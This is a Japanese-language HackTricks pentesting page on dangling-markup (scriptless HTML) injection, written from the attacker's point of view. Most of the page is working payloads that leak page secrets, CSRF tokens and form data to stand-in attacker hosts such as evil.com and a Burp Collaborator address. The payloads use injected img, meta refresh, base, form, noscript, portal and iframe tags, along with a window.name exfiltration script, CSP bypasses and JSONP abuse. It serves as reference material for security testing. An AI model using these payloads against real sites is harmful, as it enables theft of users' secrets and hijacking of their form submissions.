ダングリングマークアップ - HTML スクリプトレスインジェクション

Reading time: 16 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

この技術は、HTMLインジェクションが見つかった場合にユーザーから情報を抽出するために使用できます。これは、XSSを悪用する方法が見つからない場合でも、いくつかのHTMLタグを注入できる場合に非常に便利です。
また、HTML内に
平文で保存された秘密
があり、それをクライアントから抽出したい場合や、スクリプトの実行を誤導したい場合にも役立ちます。

ここでコメントされた複数の技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)で抽出することによって、いくつかの**コンテンツセキュリティポリシー**を回避するために使用できます。

主なアプリケーション

平文の秘密を盗む

ページが読み込まれるときに<img src='http://evil.com/log.cgi?を注入すると、被害者は注入されたimgタグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密が含まれている場合、あなたはそれを盗むことになります(ダブルクオートを使用して同じことができます。どちらがより興味深いかを見てみてください)。

imgタグが禁止されている場合(例えばCSPのため)、<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?を使用することもできます。

html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

注意してください、Chromeは"<"または"\n"を含むHTTP URLをブロックします。そのため、"ftp"のような他のプロトコルスキームを試すことができます。

また、CSS @importを悪用することもできます(";"を見つけるまで全てのコードを送信します)。

html
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

あなたは**<table**を使用することもできます:

html
<table background='//your-collaborator-id.burpcollaborator.net?'

<base タグを挿入することもできます。すべての情報は引用が閉じられるまで送信されますが、いくつかのユーザー操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、base タグがリンクが指すドメインを変更するからです)。

html
<base target='        <--- Injected
steal me'<b>test</b>

フォームの盗難

html
<base href="http://evil.com/" />

次に、データをパスに送信するフォーム(例えば <form action='update_profile.php'>)は、悪意のあるドメインにデータを送信します。

フォームの盗難 2

フォームヘッダーを設定します:<form action='http://evil.com/log_steal'> これにより、次のフォームヘッダーが上書きされ、フォームからのすべてのデータが攻撃者に送信されます。

フォームの盗難 3

ボタンは、属性 "formaction" を使用して、フォームの情報が送信されるURLを変更できます:

html
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>

攻撃者はこれを使用して情報を盗むことができます。

この攻撃の例をこの文書で見つけてください

明文の秘密を盗む 2

最新の技術を使用してフォームを盗む(新しいフォームヘッダーを注入する)ことで、新しい入力フィールドを注入することができます:

html
<input type='hidden' name='review_body' value="

この入力フィールドには、HTML内の二重引用符の間のすべてのコンテンツと次の二重引用符の間のコンテンツが含まれます。この攻撃は、"Stealing clear text secrets" と "Stealing forms2" を組み合わせています。

同じことを、フォームと <option> タグを注入することで行うことができます。閉じた </option> が見つかるまでのすべてのデータが送信されます:

html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

フォームパラメータインジェクション

フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されるようになります:

html
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines

<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>

ノースクリプトを介したクリアテキストシークレットの盗難

<noscript></noscript> は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグです(Chromeでは chrome://settings/content/javascript でJavaScriptを有効/無効にできます)。

攻撃者が制御するサイトに対して、注入ポイントからページの内容を下部まで抽出する方法は、これを注入することです:

html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

ユーザーインタラクションを利用したCSPのバイパス

このportswiggersの研究から、最もCSPが制限された環境でも、ユーザーインタラクションを利用してデータを抽出できることがわかります。この場合、ペイロードを使用します:

html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

注意してください、あなたは犠牲者リンクをクリックさせ、そのリンクがあなたが制御するペイロードリダイレクトされるようにします。また、baseタグ内のtarget属性は次の単一引用符までのHTMLコンテンツを含むことに注意してください。
これにより、リンクがクリックされた場合の**window.nameはすべてそのHTMLコンテンツになります。したがって、あなたがリンクをクリックすることで犠牲者がアクセスしているページを制御しているため、そのwindow.nameにアクセスし、そのデータを抽出**することができます。

html
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

誤解を招くスクリプトワークフロー 1 - HTML 名前空間攻撃

HTML内に新しいタグを挿入し、次のタグを上書きするidを持たせ、スクリプトの流れに影響を与える値を設定します。この例では、情報が誰と共有されるかを選択しています:

html
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />

... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }

誤解を招くスクリプトワークフロー 2 - スクリプトネームスペース攻撃

HTMLタグを挿入することで、JavaScriptネームスペース内に変数を作成します。次に、この変数がアプリケーションのフローに影響を与えます:

html
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }

JSONPの悪用

JSONPインターフェースを見つけた場合、任意のデータで任意の関数を呼び出すことができるかもしれません:

html
<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

また、いくつかのjavascriptを実行してみることもできます:

html
<script src="/search?q=a&call=alert(1)"></script>

Iframeの悪用

子ドキュメントは、クロスオリジンの状況でも親のlocationプロパティを表示および変更する能力を持っています。これにより、クライアントを任意のページにリダイレクトできるiframe内にスクリプトを埋め込むことが可能になります:

html
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>

これを軽減するには、次のようなものを使用できます: sandbox=' allow-scripts allow-top-navigation'

iframeは、iframeのname属性を使用して、別のページから機密情報を漏洩させるためにも悪用される可能性があります。これは、HTMLインジェクションを悪用して機密情報がiframeのname属性内に表示されるようにするiframeを作成でき、そのnameを最初のiframeからアクセスして漏洩させることができるためです。

html
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>

<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta abuse

meta http-equiv を使用して、Cookieを設定するなどの いくつかのアクション を実行できます: <meta http-equiv="Set-Cookie" Content="SESSID=1"> またはリダイレクトを実行することができます(この場合は5秒後): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

これは http-equiv に関する CSP回避 できます( Content-Security-Policy: default-src 'self'; または Content-Security-Policy: http-equiv 'self';

New <portal HTML tag

<portal タグの脆弱性に関する非常に 興味深い研究こちら で見つけることができます。
この文を書いている時点では、chrome://flags/#enable-portals でポータルタグを有効にする必要があります。そうしないと機能しません。

html
<portal src='https://attacker-server?

HTML Leaks

HTMLにおける接続漏洩のすべての方法がDangling Markupに役立つわけではありませんが、時には役立つことがあります。ここで確認してください: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

これはdangling markupとXS-Leaksミックスです。一方で、この脆弱性は同じオリジンのページにHTML(ただしJSではない)をインジェクトすることを可能にします。他方では、HTMLをインジェクトできるページを直接攻撃するのではなく、別のページを攻撃します。

SS-Leaks

XS-Search/XS-Leaks

XS-Searchはサイドチャネル攻撃を悪用してクロスオリジン情報を抽出することを目的としています。したがって、これはDangling Markupとは異なる技術ですが、一部の技術はHTMLタグの挿入(JS実行の有無にかかわらず)を悪用します。例えば、CSS InjectionLazy Load Imagesです。

XS-Search/XS-Leaks

Brute-Force Detection List

Auto_Wordlists/wordlists/dangling_markup.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする